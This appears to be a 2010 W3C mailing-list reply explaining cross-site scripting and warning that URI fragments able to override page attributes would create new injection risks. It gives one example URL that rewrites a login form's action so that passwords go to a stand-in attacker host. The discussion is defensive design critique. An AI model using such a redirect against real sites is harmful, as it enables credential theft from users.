- From: Claus Färber <usenet2010@cfaerber.name>
- Date: Mon, 1 Nov 2010 18:42:39 +0100
- To: uri@w3.org
On 2010-10-31 01:09:02 +0200, Matthew Millar said: > I haven't got alot of XSS experience, so please correct me if I'm mistaken. > > As far as i'm aware, XSS comes into play, when a website or perhaps a > server has malicious code or handles a request badly, to the extent > that some information gets passed to another website or server, i.e. > javascript creating a call to a remote database and recording data from > the local machine. These flaws allow attackers to introduce their own code into foreign webpages. The problem with this is that both the browser and the user think the code came from the webpage and are mislead to trust it. For example, the user might enter their credentials into a form that sends the password to the attacked instead of the webpage, the browser might grant a script access to cookies that belong to the webpage, and so on. Allowing URIs to override parts of the document creates a new way to introduce foreign code, e.g.: http://www.example.com/login#login['action']=http://badboy.example.net/givemeyourpassword I > think this feature could be standardised so it wasn't an XSS threat, > however it would have to be strictly specified as to what attributes > could be controlled, or perhaps what elements could be handled, i.e. > only 100% benign HTML, and CSS. Even seemingly harmless elements such as 'dir' may be a problem. Consider a financial statement that reads "9231" instead of "1239", obviously coming from the official website of a company. Claus
Received on Monday, 1 November 2010 17:43:24 UTC